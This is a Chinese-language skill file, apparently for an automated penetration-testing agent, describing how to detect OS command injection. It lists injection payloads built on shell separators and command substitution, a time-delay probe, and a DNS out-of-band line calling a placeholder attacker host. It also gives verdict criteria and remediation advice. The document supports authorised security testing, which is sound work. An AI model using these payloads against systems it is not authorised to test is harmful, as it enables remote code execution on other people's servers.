--- name: command-injection description: 检测 OS 命令注入风险;当目标存在系统命令执行功能(ping、文件操作、格式转换、网络诊断)时触发;适用于运维工具、文件处理、诊断接口等场景。 author: builtin enabled: true tags: injection,command,rce,os-command trigger_keywords: 命令注入,命令执行,RCE,OS注入,shell注入 --- # OS 命令注入检测 ## 目标 确认用户输入是否能注入到系统命令中执行,导致任意命令执行(RCE)。 ## 适用场景 - 网络诊断功能(ping、traceroute、nslookup) - 文件格式转换(ImageMagick、ffmpeg、pandoc 等) - 系统管理接口(进程管理、日志查看) - 下载/抓取外部资源的功能 ## 前置条件与安全边界 - 仅在授权环境测试。 - 单参数最多 12 次请求(含基线、探测、确认)。 - 探测阶段使用无害命令(`id`、`whoami`、`sleep`),不执行破坏性命令。 - 盲注场景使用时间延迟或 DNS 外带,不写入持久化后门。 ## 检测步骤 ### Step 1:功能识别 确认目标功能是否可能调用系统命令: - 页面功能描述("ping 测试""文件转换""系统信息") - 参数名暗示(ip=、host=、cmd=、file=、command=) - 响应中包含命令输出格式的文本 ### Step 2:分隔符探测 依次测试命令分隔符,观察响应变化: | 分隔符 | payload 示例 | 平台 | |--------|-------------|------| | `;` | `127.0.0.1;id` | Linux/Mac | | `\|` | `127.0.0.1\|id` | 通用 | | `\|\|` | `invalid\|\|id` | 通用(前命令失败时执行) | | `&&` | `127.0.0.1&&id` | 通用(前命令成功时执行) | | `` ` `` | `` 127.0.0.1`id` `` | Linux(反引号替换) | | `$()` | `127.0.0.1$(id)` | Linux(命令替换) | | `%0a` | `127.0.0.1%0aid` | 换行符注入 | ### Step 3:输出确认 - 有回显:响应中出现命令输出(`uid=0(root)`、`www-data` 等)。 - 无回显(盲注): - **时间延迟**:`; sleep 5` 或 `| timeout 5`,对比响应时间。 - **DNS 外带**:`; nslookup unique-id.attacker.dns` 确认回连。 ### Step 4:闭环确认 对有回显场景执行两个不同命令(如 `id` 和 `uname -a`),确认输出均可控。 ## 闭环验证要求(必须遵守) - 所有结论必须形成"前置条件/输入 → 系统处理 → 实际效果/危害 → 可复核证据"的完整证据链。 - 仅凭响应时间变化不得直接判定 confirmed(需排除网络抖动),必须多次复验。 - 有回显场景必须确认输出内容确实是注入命令的执行结果,而非硬编码或缓存。 ## 判定标准 | 现象 | 判定 | |------|------| | 注入命令的输出出现在响应中,或多次时间延迟稳定可复现 | confirmed | | 响应有异常变化但未确认命令执行(如单次延迟、错误信息变化) | suspected | | 所有分隔符均被过滤或转义,无异常响应 | not vulnerable | ## 修复建议 - 避免拼接用户输入到系统命令中,使用语言原生 API(如 Python 的 `subprocess` 参数列表模式)。 - 若必须拼接,对输入做严格白名单校验(如 IP 地址仅允许数字和点)。 - 禁用危险函数(`system()`、`exec()`、`shell_exec()`)。 - 最小权限运行,限制命令执行的系统账户权限。